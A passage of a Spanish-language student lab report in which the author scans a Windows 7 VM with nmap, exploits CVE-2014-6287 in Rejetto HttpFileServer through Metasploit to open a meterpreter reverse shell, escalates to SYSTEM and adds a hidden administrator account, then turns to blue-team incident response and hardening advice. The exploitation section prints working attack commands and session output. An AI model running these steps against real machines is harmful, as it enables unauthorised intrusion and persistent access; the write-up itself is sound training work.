por lo cual debemos validar con comandos ping si hay comunicacion entre las VM Windows 7 y

Kali Linux Purple.
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Figura 16

Verificacion Direcciones Ping de las VMs
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Fuente. Autoria Propia

Podemos notar gracias al comando ping que hay comunicacion tanto desde la VM Kali Linux

Purple hacia la VM Windows 7 como desde la VM Windows 7 hacia la VM Kali Linux Purple.

Ahora validaremos los puertos abiertos y las aplicaciones relacionadas a esos puertos:

Lo haremos desde la VM Kali Linux Purple (192.168.1.26) hacia la VM Windows 7

(192.168.1.25) con ayuda de NMAP.

Usaremos el comando nmap -sS -0 -t5 -sV 192.168.1.25 para obtener puertos, estado de los
puertos, servicios relacionados a dichos puertos y la version correspondiente. También nos

muestra el sistema operativo que tiene la maquina.
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Figura 17

Puertos Abiertos, Servicios y Version Usando el Comando nmap -A 192.168.1.25
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Fuente. Autoria Propia

¢ Qué puerto abre la aplicacidn especifica en el anexo?

Figura 18
Puerto Abierto de la Aplicacion es el Puerto 80.

PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3

Fuente. Autoria Propia
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Lo anterior podemos verificarlo abriendo un navegador desde la VM Kali Linux Purple y
colocando en la barra de direccion la IP de la VM Windows 7 y especificando el puerto 80, de la

siguiente manera: 192.168.1.25:80

Figura 19
Verificacion desde Navegador Mozilla al Puerto Abierto de la Aplicacion: Puerto 80
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" Kali Linux  § Kali Tools [ KaliDocs W Kali Forums (¥ Kali NetHunter & Exploit-DB & Google Hacking DB #b OffSec ﬂop,n.,;b.;wu. http://192.168.1.25, ’

Virtual File System

No files in this folder

g0

% select

All| [ Invert || Mask

Ojtams selected
W actors
Archive | | Get list
9 Server nfarmation

tpFileserver
Server timex 10/11/2024 06:05:30 pm.
Server Lptime: 00:04:36

Q &9 ORiEE cwomeon L& o  E#0E 8 oroseca

Fuente. Autoria Propia

Podemos indagar sobre las vulnerabilidades asociadas a esa aplicacion:

En la pagina oficial de NIST (https://nvd.nist.gov/vuln/detail/CVE-2014-6287) vemos que Si
existe ese CVE-2014-6287 y hace referencia a la funcion findMacroMarker en parserLib.pas en
Rejetto HTTP File Server (aks HFS o HttpFileServer) 2.3x antes de 2.3c permite a atacantes

remotos ejecutar programas arbitrarios a través de una secuencia %00 en una accién de busqueda.

Ahora después de detectar los hallazgos, iniciaremos la explotacién con la ayuda de Metaesploit,
para detectar posibles vulnerabilidades existentes en los servicios detectados anteriormente en la

VM Windows 7 y lo hacemos con el comando msfconsole.



Figura 20

Iniciar Metaesploit Framework con Comando msfconsole

=[
+ — -—=[ 2397 exploits - 1235 auxiliary - 422 post
+ — -—=[ 1388 payloads - 46 encoders - 11 nops
+ -—— -—=[ 9 evasion

Metasploit Documentation: https://docs.metasploit.com/

msf6 > i

& @ =i G)@ @ cmeperecHa

Fuente. Autoria Propia

Figura 21

Explotacion con Metaesploit Framework con Comando search hfs

D H A QO 2216 a8 ¢

ARl belAL ln slamitimesliiang

@l 1 2 3 4| =
| root@kalidonypurple: fhome/kalidony o
File Actions Edit View Help

+ —— --=[ 2397 exploits - 1235 auxiliary - 422 post
+ —— --=[ 1388 payloads - 46 encoders - 11 nops
+ — ——=[ 9 evasion

[ ——

https://docs.metasploit.com/

Metasploit Documentation:
msf6 > search hfs

Matching Modules

# Name Disclosure Date Rank
Check Description

@ exploit/multi/http/git_client_command_exec 2014-12-18

No Malicious Git and Mercurial HTTP Server For CVE-2014-9390
1 exploit/windows/http/rejetto_|jfll_exec 2014-09-11
Yes Rejetto HttpFileServer Remote Command Execution

Interact with a module by name or index. For example

msf6 > |

@ o B 86 & R oereca
Fuente. Autoria Propia
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Ahora seleccionaremos el exploit de nuestro interés rejetto con el comando use 1 (corresponde al
exploit 1)

Figura 22

Explotacion Metaesploit Framework con Comando use 1

msf6 > search hfs

Matching Modules

# Name Disclosure Date Rank
Check Description

@ exploit/multi/http/git_client_command_exec 2014-12-18

No Malicious Git and Mercurial HTTP Server For CVE-2014-9390
1 exploit/windows/http/rejetto_[fill_exec 2014-09-11

Yes Rejetto HttpFileServer Remote Command Execution

Interact with a module by name or index. For example

msf6 > use 1
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/rejetto_hfs_exec) > ||

@ o Ei gl® & cm omeca
Fuente. Autoria Propia

Figura 23
Explotacion Metaesploit Framework con el Comando set RHOSTS 192.168.1.25 (Configurar el

Host de Destino)

# Name Disclosure Date Rank
Check Description

@ exploit/multi/http/git_client_command_exec 2014-12-18

No Malicious Git and Mercurial HTTP Server For CVE-2014-9390
1 exploit/windows/http/rejetto_[jfll_exec 2014-09-11
Yes Rejetto HttpFileServer Remote Command Execution

Interact with a module by name or index. For example inf Iy l or

msf6 > use 1

[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/rejetto_hfs_exec) > set RHOSTS 192.168.1.25
RHOSTS = 192.168.1.25

msf6 exploit(windows/http/rejetto_hfs_exec) > |j

.

Fuente. Autoria Propia
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Figura 24

Explotacion Metaesploit Framework con el Comando set RPORT 80 (Configurar el Puerto del

Host de Destino)

Interact with a module by name or index. For example info 1, use 1 or
loit/windows/http/rejetto_hfs_exec

msf6 > use 1

*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
sf6 exploit(windows/http/rejetto_hfs_exec) > set RHOSTS 192.168.1.25
RHOSTS = 192.168.1.25

msf6 exploit(windows/http/rejetto_hfs_exec) > set RPORT 80

RPORT = 80

msf6 exploit(windows/http/rejetto_hfs_exec) > [

= r—

Fuente. Autoria Propia
Lo siguiente es configurar el payload desde la VM Kali Linux Purple

Figura 25
Explotacion Metaesploit Framework con el Comando set LHOST 192.168.1.26 (Configurar el

Puerto del Host Emisor)

Interact with a module by name or index. For example info 1, use 1 or use exp
loit/windows/http/rejetto _hfs exec

msf6 > use 1

*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

sf6 exploit(windows/http/rejetto_hfs_exec) > set RHOSTS 192.168.1.25

RHOSTS = 192.168.1.25

msf6 exploit(windows/http/rejetto_hfs_exec) > set RPORT 80

RPORT = 80

msf6 exploit(windows/http/rejetto_hfs_exec) > set LHOST 192.168.1.26

LHOST = 192.168.1.26

= r~—

Fuente. Autoria Propia
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Figura 26

Lanzamos la Explotacion con Metaesploit Framework con el Comando exploit

msf6 > use 1

[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/rejetto_hfs_exec) > set RHOSTS 192.168.1.25
RHOSTS = 192.168.1.25

msf6 exploit(windows/http/rejetto_hfs_exec) > set RPORT 80

RPORT = 80

msf6 exploit(windows/http/rejetto_hfs_exec) > set LHOST 192.168.1.26
LHOST = 192.168.1.26

msf6 exploit(windows/http/rejetto_hfs_exec) > exploit

[#] Started reverse TCP handler on 192.168.1.26:4444

[#] Using URL: http://192.168.1.26:8080/WVEn2tg

[#] Server started.

[*] Sending a malicious request to /

[#*] Payload request received: /WVEn2tg

[*] Sending stage (176198 bytes) to 192.168.1.25

[!] Tried to delete ¥TEMP%\wzcbnLFUOPL.vbs, unknown result

[*] Meterpreter session 1 opened (192.168.1.26:4444 — 192.168.1.25:49177) at
2024-11-10 23:17:23 -0500

[*] Server stopped.

meterpreter > [j

Fuente. Autoria Propia

En estos momentos ya tenemos iniciada la sesién meterpreter y podemos mirar la informacién del

sistema con el comando sysinfo

Figura 27

Informacion del Equipo Objetivo usando el Comando sysinfo

meterpreter > sysinfo

Computer . PC202006

0s : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture i X64

System Language : es_CO

Domain : WORKGROUP

Logged On Users : 1

Meterpreter : x86/windows

meterpreter > |j
Fuente. Autoria Propia
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Figura 28

Validacion Nombre de Usuario en Esa Sesion en el Equipo Objetivo Usando el Comando getuid

meterpreter > getuid
Server username: PC202@06%usuario

Fuente. Autoria Propia

Figura 29

Validacion de los Permisos y Privilegios que Tenemos en esa Sesion en el Equipo Objetivo Usando
el Comando getprivs

meterpreter > getprivs

Enabled Process Privileges

Name

SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreateSymbolicLinkPrivilege
SeDebugPrivilege
SeImpersonatePrivilege
SeIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeLoadDriverPrivilege
SeLockMemoryPrivilege
SeManageVolumePrivilege
SeProfileSingleProcessPrivilege
SeRemoteShutdownPrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeTakeOwnershipPrivilege
SeTimeZonePrivilege
SeUndockPrivilege

meterpreter > |

Fuente. Autoria Propia
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Figura 30

Escalamos Privilegios con el Comando getsystem y Validamos Esos Privilegios con el Comando
getuid

meterpreter > getsystem
... got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > [

Fuente. Autoria Propia

Y como vemos ya tenemos permisos de usuario administrador. El Server username paso de
PC202006\usuario a NT AUTHORITY\SYSTEM.

Figura 31

Creacion de Usuario Administrador en el Equipo Windows 7 con Nuestro Nombre y Apellido
(donydiaz) y con Una Contrasefia (dony1982) Desde Meterpreter con el Comando: execute -f

cmd.exe -a "'/c net user NOMBRE_USUARIO CONTRASENA /add"

meterpreter > execute -f cmd.exe -a "/c net user donydiaz donmyl982 /add"
Process 2144 created.

Fuente. Autoria Propia

Figura 32

Agregar Usuario al Grupo de Administradores Ejecutando el Comando:
execute -f cmd.exe -a "*/c net localgroup Administradores NOMBRE_USUARIO /add™

meterpreter > execute -f cmd.exe -a "/c net localgroup Administradores donydi
az /add"
Process 2892 created.

Fuente. Autoria Propia
Figura 33
Verificacion del Usuario Creado Correctamente y Agregado al Grupo de Administradores,
Usamos el Siguiente Comando:
execute -f cmd.exe -a "*/c net user NOMBRE_USUARIO"

meterpreter > execute -f cmd.exe -a "/c net user donydiaz”
Process 2668 created.

Fuente. Autoria Propia
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Lo siguiente es validar si efectivamente el usuario administrador fue creado satisfactoriamente con
nuestro nombre y apellido en la VM Windows 7. Lo validamos ingresando desde panel de control

y en cuentas de usuario:

Figura 34

Usuario Administrador Creado con Exito

vaﬁ) < Cuentas de usuario y proteccion infantil » Cuentas de usuaric » Administrar cuentas - ‘ 4,| ‘ Buscarene.. 0 |

Elegir la cuenta que desee cambiar

usuario donydiaz
Administrador | Administrador
1 Protegida por contrasefia

Invitado
La cuenta de invitado estd desactivada

Crear una nueva cuenta

;Qué es una cuenta de usuario?

Acciones adicionales que se pueden realizar
'@' Configurar Control parental

Ir a la pagina principal de Cuentas de usuario

o = & (= il 8 @ (3] cTRL DERECHA
Fuente. Autoria Propia
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Figura 35
Usuario Administrador Creado con Exito Validacién

cle VM VirtualBox = m}

() =[® < Cuentas de usuario » Administrar cuentas » Cambiar una cuenta uscaren ..

Realizar cambios en la cuenta de donydiaz

[augd] donydiaz
‘ Administrador
"] Protegida por contrasefia

030lam. |

= O

BOn@o B G @ o omecia

Fuente. Autoria Propia

Figura 36
Usuario Administrador donydiaz Protegido con Contrasefia Asignada

i win7-se20 e VM VirtualBox u]

. Windows 7 professiona

\ 0OnE6  BiEEeE R Rn!

Fuente. Autoria Propia
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Figura 37

Usuario Administrador donydiaz Escritorio

B '--* . 03:05 am.
m L,,;&] @ﬂ B« O o

B8 0@ o B 8@ R cr omeca

Fuente. Autoria Propia

¢ Cémo afecta el ataque a la maquina Windows 7?

Los exploits deben seleccionarse, configurarse y lanzarse desde la Méaquina del atacante,
con sus respectivas Payloads. Este exploit esta relacionado con el establecimiento de una conexion
inversa; dejando a la maquina atacante escuchando el inicio de la conexion por parte de la maquina
objetivo.

El ataque comienza con la identificacion de la maquina objetivo y sus caracteristicas; la
carga Util se crea utilizando la herramienta meterpreter, se elevan los privilegios y se crea un

usuario administrador en la maquina virtual objetivo.



Figura 38

Ataque Por Shell Inversa con Metasploit.

Attacker @ Target

.Listem’ng
Exploit

Reverse connection
"- *

Code Length

Code

Meterpreter
is running

Fuente. ALONSO, José Maria. (2018). Un Informatico en el Lado del Mal. Metasploit:

Como extender las funcionalidades de Meterpreter.

https://www.elladodelmal.com/2018/03/metasploit-como-extender-las.html

Figura 39

Ataque Explicado Paso a Paso

192.168.1.26

Maquina Atacante Kali Linux Purple

@ Internet
>

NMAP: ESCANEO 1
DE PUFRTOS
192.168.1.25 \

METASPLOIT: ANALISIS
DE VULNERABILIDADES Y @ Metasploit
EXPLOTACION

-
Maguina Objetivo Windows 7 \

CREACION USUARIO ADMINISTRADOR

/" (NOMBRE_APELLIDO) ESTUDIANTE
METERPRETER:

OBTENCION ACCESO

Y ESCALADA DE \ ACCESOTOTAL  |__ [ \NFORMACION
PRIVILEGIOS ADMINISTRADOR
- ,’

Fuente. Autoria Propia


https://www.elladodelmal.com/2018/03/metasploit-como-extender-las.html
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Comandos Usados en el componente practico

Estos son los comandos utilizados para las diferentes herramientas:

Comandos de NMAP

nmap: El comando principal que se utiliza para escanear hosts y redes.

-sP: Realiza un escaneo de sondeo ping para determinar qué hosts estan activos en una red.

-sS: Realiza un escaneo de tipo SYN para detectar qué puertos estan abiertos en un host.

-A: Realiza un escaneo detallado que incluye deteccion de sistemas operativos, versiones
de software y otros detalles.

-p: Especifica los puertos que se deben escanear.

-O: Realiza un escaneo detallado que incluye deteccion de sistemas operativos.

-T: Este parametro especifica el tiempo de escaneo, se recomienda utilizar un tiempo mas
bajo durante el proceso (0-5).

-sV: Realiza un escaneo detallado que las versiones de software y otros detalles.

—script vuln: es un script de deteccidn de vulnerabilidades que forma parte de la amplia

gama de scripts que se pueden utilizar con Nmap.

Comandos de METASPLOIT FRAMEWORK

search: Este comando se utiliza para buscar modulos, exploits, payloads y otros elementos
dentro de la base de datos de Metasploit.

use: Permite seleccionar un médulo especifico para su uso posterior.

set: Se utiliza para establecer opciones dentro de un mddulo, como direcciones IP, puertos

o configuraciones especificas del exploit.
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show: Muestra informacion detallada sobre los mddulos cargados, las opciones
configuradas y otros aspectos del entorno de trabajo actual.

exploit: Ejecuta el exploit seleccionado al objetivo especificado.

sudo su: Esta instruccion permite obtener permisos de super usuario de Linux (se debe

ingresar contrasefia).

Comandos de METERPRETER

sysinfo: Muestra informacion detallada sobre el sistema comprometido, como la version
del sistema operativo, la arquitectura del procesador y la configuracion del kernel.

shell: Abre una shell interactiva en el sistema comprometido, lo que permite ejecutar
comandos como si estuvieras directamente en el sistema.

upload/download: Permite transferir archivos entre tu sistemay el sistema comprometido.

screenshot: Captura una imagen de la pantalla del sistema comprometido, lo que puede
ser util para visualizar la actividad en el sistema.

migrate: Permite migrar el proceso Meterpreter a otro proceso en el sistema

comprometido, lo que puede ser til para evadir la deteccion o para obtener mayores privilegios.

Comandos KALI LINUX

apt-get: Este comando se utiliza para gestionar paquetes de software.

nmap: Es una herramienta de escaneo de red que se utiliza para descubrir hosts y servicios
en una red.

metasploit: Es una herramienta popular para el desarrollo y ejecucion de exploits contra

sistemas informaticos.
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john: Se trata de un potente programa para romper contrasefias mediante ataques de fuerza
bruta.

wireshark: Es un analizador de protocolos utilizado para analizar el trafico de redes y
solucionar problemas relacionados con la red.

ifconfig: Esta instruccion permite obtener la IP de la Maquina Linux.

Comandos consola Windows 7

cd: Este comando se utiliza para cambiar el directorio actual en el que estas trabajando.

dir: Muestra una lista de los archivos y carpetas en el directorio actual.

ping: Se utiliza para verificar la conectividad con un host especifico en una red mediante
el envio de paquetes de datos.

ipconfig: Proporciona informacidon sobre la configuracion de red, incluyendo la direccion
IP, la puerta de enlace predeterminada y la configuracion del servidor DNS.

mkdir: Crea un nuevo directorio o carpeta en el sistema.

del: Elimina archivos del sistema.



Contencion de ataques informaticos Blue Team

ciberseguridad del Equipo Azul deben seguir en caso de un ataque cibernético en tiempo real, asi
como las formas de reparar los sistemas después de un incidente del Equipo Rojo. Para esto

necesitamos la informacion contenida en el Anexo 5 — Escenario 4, la cual describo a continuacion:

En esta entrega exploraremos los pasos y procedimientos que los profesionales de

Figura 40

Anexo 5 — Escenario 4

=
o0
o
Ll

Escuela de Ciencias

Basicas, Tecnologia e
Ingenieria

Anexo 5 — Escenario 4

Este anexo tiene la finalidad de brindar una guia para la identificacién
de un problema especifico en temas técnicos que se ejecutan en
equipos blue team para la contencién de ataques informaticos.

Situacion problema: Analisis Blue team

CyberFort Technologies solicita a sus integrantes de Blueteam
contener y sacar adelante un ataque informatico el cual se esta
produciendo en tiempo real. La maquina que se debe analizar es la
Windows analizada en la actividad anterior. La organizacidén requiere
un analisis exhaustivo de lo que estd sucediendo a nivel técnico
“sistema operativo, red”, con la informacion recolectada se espera que
dentro de su grado de experticia usted como miembro de un equipo
Blue team logre contener el ataque para evitar que se genere mas dano
a nivel interno de la organizacién. CyberFort Technologies le informa
que no existe presupuesto para hacer uso de herramientas de pago,
por ende, el experto en Ciberseguridad debera optar por una serie de
herramientas minimo con licencia GPL.

Fuente. Universidad Nacional y a Distancia, UNAD. (2024). Anexo 5 — Escenario 4.

https://campus118.unad.edu.co/echtil44/pluginfile.php/6400/mod_folder/content/0/Anex0%205

%20-%20Escenario%204.pdf?forcedownload=1

Universidad Nacional
Abiertaya D L
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Frente a un ataque en tiempo real lo primero que debemos hacer es lo siguiente:

Identificar el tipo de ataque: si el ataque es un phishing, ransomware, ataque DDoS,
intrusion en redes, etc. A veces los signos de un ataque pueden ser evidentes. La atencidn se centra
en detectar actividades inusuales o sospechosas que indiguen un posible incidente de seguridad.
Se pueden utilizar herramientas de andlisis y monitoreo de registros para identificar posibles
intrusiones o comportamientos andmalos en el sistema.

Contencion del ataque: Una vez que se detecta un incidente, es fundamental que se tomen
medidas de contencidn para evitar su propagacion. Esto puede incluir aislar el sistema afectado,
desconectarlo de la red o implementar medidas de seguridad adicionales para evitar dafios
mayores. Si tenemos acceso a los sistemas comprometidos, tratar de desconectarlos de la red para
evitar que el ataque se propague. Esto puede incluir desconectar el dispositivo de internet o cortar
las conexiones a la red interna y de esta manera tomar medidas para minimizar el impacto del
incidente en otros equipos 0 usuarios.

Erradicacion: En esta etapa debemos eliminar la causa del incidente de raiz, para esto
haremos un analisis exhaustivo con la ayuda de herramientas, buscando entender como ocurrid el
incidente y tomar las medidas pertinentes para eliminar cualquier tipo de malware. De esta forma
podremos restablecer configuraciones seguras y restaurar a modo funcional los sistemas afectados
en el ataque. Es importante conservar evidencia de los sistemas comprometidos y preservar los
registros y datos del ataque con la finalidad de poder prevenir y reportar a las autoridades.

Recuperacion: Después de erradicar el malware de raiz debemos restaurar los sistemas
que fueron afectados, esto implica restauracion de archivos y sistema, para ello podemos usar

copias de seguridad guardadas con anterioridad.
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Notificacion del incidente: Debemos notificar el incidente de seguridad tanto de forma
interna (directivos y personal) como de forma externa (autoridades locales y partes interesadas).
En casos de ataques graves, especialmente aquellos que involucran robo de datos o dafios a
infraestructura critica, es importante contactar a las autoridades pertinentes (como la policia o
agencias de ciberseguridad).

Evaluacion del impacto: Aqui debemos llevar a cabo una revision detallada del incidente
para analizar como ocurrié y como se podria evitar en el futuro evaluando el impacto del ataque
(pérdida de datos, filtracion de informacion, etc.). Se documentaran las lecciones aprendidas y se
ajustaran los procedimientos y sistemas segun sea necesario para mejorar la capacidad de
responder a incidentes futuros. Se deben verificar diversos planes de riesgo, seguridad y

desempefio para poder realizar ajustes que contenga el evento presentado.

Hardenizacion para prevenir ataques:

El ataque genera una fuga de informacion al interior de la organizacion por medio de un
equipo de computo en la dependencia por tener instalada una aplicacion vulnerable bajo un sistema
operativo Windows 7 y dicha aplicacion tiene asociado el exploit, el cual genera un acceso
mediante Shell, que le permite escalar privilegios al punto de dejar crear un usuario con permisos
de administrador, con los cuales es posible tener acceso a toda la informacion de este equipo.
Dicha vulnerabilidad fue explotada desde una VM Kali Linux haciendo uso de herramientas como
NMAP, Metasploit.

Podremos prevenir este tipo de ataques fortaleciendo la parte de red y la parte del sistema

operativo de la siguiente manera:
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Hardening de la Red:
Configuracion segura de los dispositivos de red (firewalls, routers, switches, etc.):

Firewalls: Asegurarse de que el firewall esté configurado adecuadamente para
filtrar el trafico de entrada y salida, permitiendo solo el trafico necesario y blogueando el
no deseado.

Routers y switches: Desactivar servicios innecesarios (como Telnet, FTP, etc.),
habilita las contrasefias fuertes para los dispositivos de administracion y asegUrate de que
las configuraciones de enrutamiento sean seguras.

Mantener todos los dispositivos de red (routers, switches, firewalls, servidores) y
software actualizado con los ultimos parches de seguridad. Los dispositivos obsoletos o
mal configurados son vulnerables a ataques.

Segmentacion de la red:

Utilizar subredes (VLANSs) para dividir la red en diferentes segmentos, limitando el
acceso entre ellos solo cuando sea necesario. Esto ayuda a contener posibles brechas de
seguridad, ya que un ataque en una subred no comprometeréa toda la red.

Implementar listas de control de acceso (ACL) y firewalls internos para segmentar
el trafico entre diferentes areas de la red, como la red corporativa, la red de invitados y la
red de servidores criticos.

Implementar redes privadas virtuales (VPN) para conexiones remotas seguras y
Tunneling para proteger el trafico entre sucursales.

Monitoreo y deteccion de intrusiones:
Implementar un sistema de deteccion de intrusiones (IDS) y/o prevencion de

intrusiones (IPS) para detectar y bloguear actividades sospechosas 0 maliciosas en la red.
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Realizar auditorias de seguridad regulares y monitoreo de logs para identificar
accesos no autorizados o comportamientos andmalos. Puedes usar Sistemas de Gestion de
Informacion y Eventos de Seguridad (SIEM) para centralizar el analisis de eventos.

Configura alertas en tiempo real para notificar a los administradores de la red sobre
eventos sospechosos.

Desactivacion de servicios innecesarios:

Revisar todos los servicios que se estan ejecutando en tus dispositivos de red y
desactiva aquellos que no son necesarios. Esto reduce las posibles puertas de entrada para
los atacantes. Ejemplos de servicios que deben desactivarse incluyen SMB, Telnet, FTP,
SNMPv1/v2, UPnP, y otros protocolos inseguros o que no estan siendo utilizados.
Control de acceso fisico a la red:

Limitar el acceso fisico a los dispositivos de red, como routers, switches, servidores,
y otros equipos criticos. Esto incluye el uso de cerraduras y control de acceso en centros de
datos y areas sensibles.

Asegurarse de que los cables de red no sean facilmente accesibles 0 manipulables
por personas no autorizadas.

Ejemplo de Herramientas Utiles para el hardening de la red:

Firewalls: pfSense, Cisco ASA, Fortinet.

Sistemas de deteccion de intrusiones (IDS/IPS): Snort, Suricata.

VPN: OpenVPN, WireGuard.

Herramientas de escaneo de vulnerabilidades: Nessus, OpenVVAS, Nexpose.

Sistemas de gestion de logs (SIEM): Splunk, ELK Stack, Graylog.
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Hardening del sistema operativo

El hardening de Windows 7 es el proceso de asegurar el sistema operativo contra
vulnerabilidades y posibles amenazas, como el malware, ataques de hackers y accesos no
autorizados. Aunque Windows 7 ya no recibe soporte oficial de Microsoft desde enero de
2020, muchos entornos todavia utilizan este sistema, por lo que es importante tomar
medidas para asegurar su seguridad.

Mantener el sistema actualizado:

Instalar todos los parches y actualizaciones disponibles: Aunque Windows 7 ya no
recibe actualizaciones regulares, si estas utilizando una version que aun recibe soporte
extendido, asegurarse de instalar los parches de seguridad de manera regular.

Habilitar actualizaciones automaticas: Si es posible, habilita las actualizaciones
automaticas para recibir los Gltimos parches de seguridad.

Configurar el control de cuentas de usuario (UAC):

Habilitar UAC (Control de Cuentas de Usuario): Asegurarse de que el UAC esté
habilitado y configurado para el nivel méas alto. Esto garantiza que los usuarios deban
proporcionar una contrasefia o confirmacion antes de realizar cambios importantes en el
sistema.

Figura 41

Configuracién de Control de Cuentas de Usuario
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Fuente. Autoria Prdpia
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Deshabilitar servicios innecesarios:

o Desactivar los servicios que no son necesarios para reducir la superficie de ataque.

Algunos servicios comunes que podrias desactivar si no son necesarios incluyen:

Figura 42

Servidor (Server)
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Desactivar cuentas y contrasefias predeterminadas:

o Deshabilitar la cuenta de "Administrador"” integrada
« Configurar contrasefias fuertes para todas las cuentas. Asegurarse de que se utilicen
contrasefias complejas (al menos 12 caracteres, con una combinacion de letras

mayusculas, minusculas, nimeros y simbolos).

Figura 43
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Implementar Politicas de Seguridad Local:

o Configurar politicas de seguridad mediante ""Politica de Seguridad Local™:

o Contrasefia de complejidad: Habilitar la opcion de que las contrasefias sean
complejas (mayusculas, minasculas, nimeros, simbolos). MFA también.

o Tiempo de expiracion de contrasefias: Configurar la caducidad de las contrasefias
para forzar el cambio regular.

« Blogueo de cuenta: Configurar un limite de intentos fallidos de inicio de sesion antes
de bloquear la cuenta temporalmente (por ejemplo, 5 intentos).

« Auditoria de eventos: Habilitar la auditoria de eventos de inicio y cierre de sesion, asi

como otros eventos criticos para realizar un seguimiento de actividades sospechosas.

Configurar el firewall de Windows:

« Habilitar y configurar el firewall de Windows para proteger la maquina contra
ataques externos. Activar el Firewall de Windows para las redes privadas y publicas.
« Configurar reglas personalizadas para bloquear puertos y servicios que no necesites.

Figura 44

Activar Firewall de Windows 7
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Fuente. Autoria Propia
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Habilitar antivirus y software de proteccion:

« Instalar un software antivirus confiable: Si no tienes instalado un antivirus, asegurate
de que la computadora esté protegida por uno que reciba actualizaciones de firmas de

virus y que tenga proteccion en tiempo real.
o Mantener el software antivirus actualizado: Si utilizas Windows Defender (que ya

esta integrado en Windows 7), asegurarse de que las actualizaciones automaticas estén

habilitadas.

Figura 45

Antivirus Windows Defender
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Desactivar la ejecucion de archivos en ubicaciones no confiables:

o Desactivar la ejecucion automatica de dispositivos USB y otros medios extraibles
« Desactivar archivos .exe de lugares no confiables: Configura para que no se ejecute

codigo de ubicaciones no autorizadas.

Configurar y aplicar cifrado de discos (BitLocker o alternativas):

o Activar BitLocker: Si tienes Windows 7 Professional o Enterprise, puedes usar
BitLocker para cifrar el disco duro y proteger la informacion en caso de robo o acceso
no autorizado, si no puedes usar BitLocker, considera otras soluciones de cifrado de

disco como VeraCrypt.

Desactivar los puertos innecesarios:

« Desactivar puertos fisicos que no se utilizan, como USB, FireWire, etc. Esto se puede
hacer en el BIOS/UEFI.
« Deshabilitar servicios de red innecesarios, como el acceso a escritorio remoto (si no

se usa) o servicios de archivo compartido.

Configurar registros y auditoria:

o Configurar el registro de eventos y auditoria para realizar un seguimiento de las
actividades en el sistema. Habilita las auditorias de inicio de sesion, accesos a objetos

y cambios de configuracion en las Politicas de seguridad local.

o Aplicar herramientas adicionales de hardening:

o AppLocker (en ediciones Enterprise): Puedes usar AppLocker para crear reglas que
limiten qué aplicaciones pueden ejecutarse en el sistema, lo que ayuda a prevenir la
ejecucion de software no autorizado.

« Proteccion contra malware: Instalar herramientas adicionales de proteccion contra

malware, como Malwarebytes o HitmanPro.
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Eliminar o desactivar protocolos inseguros:

o Deshabilitar SMBvV1 ya que es vulnerable a ataques como WannaCry.
o Desactivar protocolos de red antiguos (como Telnet, FTP, etc.) si no se usan. Usa

en su lugar protocolos mas seguros como SSH 'y SFTP.

Auditorias y Pruebas de Seguridad:

« Realizar pruebas de penetracion internas para llevar a cabo auditorias de seguridad

periddicas y verificar que las medidas de hardening sean efectivas.

Diferencias Entre un Equipo Blue Team y un Equipo de Respuesta a Incidentes

Informaticos:

La diferencia principal entre Blue Team y CSIRT radica en sus enfoques, funciones y
objetivos dentro de la ciberseguridad. Aungue ambos se centran en la proteccion y respuesta ante

incidentes de seguridad, sus roles, estructura y actividades son distintas.

Blue Team:

El Blue Team es un equipo defensivo responsable de proteger la infraestructura de TI,
detectar ataques, mitigar riesgos y mejorar la seguridad general de la organizacion. Tiene como
objetivo fortalecer la seguridad de las redes y sistemas a través de una serie de medidas preventivas
y reactivas.

Enfoque: La defensa del sistema y de la red se basa en una estrategia continua, proactiva
y reactiva. EI Equipo Azul siempre esta trabajando en la deteccion temprana, la proteccion, la

prevencion de amenazas y la remediacion.
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Equipo de Respuesta A Incidentes Informaticos:

CSIRT (Equipo de respuesta a incidentes de seguridad informatica) es un equipo de
respuesta a incidentes de seguridad informatica. Es un equipo especializado en dar respuesta a
incidentes de ciberseguridad. Se centra en la respuesta a ciberataques, la gestion de incidentes, el
analisis forense y la recuperacion de los sistemas afectados.

Enfoque: Su funcionamiento es esencialmente reactivo, ya que se activa cuando se detecta
un incidente o brecha de seguridad. EI CSIRT es responsable de investigar, gestionar y mitigar los
efectos del incidente, asi como de colaborar con otras entidades para gestionar las consecuencias
del ataque.

Las principales funciones de un CSIRT son las siguientes:

v’ Prevenir, detectar y responder a incidentes de seguridad informatica.

v Coordinar la respuesta a incidencias entre los diferentes departamentos de la organizacion.
v Analizar eventos y realizar analisis forenses.

v/ Comunicar y reportar incidentes de seguridad dentro y fuera de la organizacion.

Figura 46

Diferencias entre Blue Team y CSIRT
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Como especialistas en seguridad informatica tanto Blue Team como CSIRT se apoyan en
el CIS “Center For Internet Security”, son recomendaciones de configuracion prescriptivas para
mas de 25 familias de productos de proveedores. Representan el esfuerzo consensuado de expertos
en ciberseguridad de todo el mundo para ayudarlo a proteger sus sistemas contra amenazas con
mayor confianza.

Las comunidades de CIS Benchmarks estan compuestas por méas de 12000 profesionales
de seguridad informatica que participan en el proceso de consenso para desarrollar
recomendaciones de configuracion segura. Cada una de estas personas aporta algo diferente al
proceso de desarrollo de la comunidad.

El CIS (Centro para la Seguridad de Internet) desempefia un papel clave en los equipos
BlueTeam, responsable de la seguridad defensiva en Internet. CIS proporciona directrices y
mejores practicas de la industria para ayudar a proteger los sistemas, las redes y los datos de las
amenazas cibernéticas. Estas pautas cubren configuraciones seguras de sistemas operativos,
dispositivos, dispositivos de red, entre otros, y son utilizadas por los equipos de BlueTeam para
garantizar la postura de seguridad de una organizacién. Ademas, CIS proporciona herramientas y
recursos para evaluar y mejorar la seguridad cibernética, lo cual es esencial para el trabajo de
BlueTeams de protegerse rapidamente contra las amenazas cibernéticas.

Es importante que las organizaciones implementen una sélida estrategia de proteccién de
datos para reducir la posibilidad de una violaciéon de datos, que a menudo conduce a pérdidas
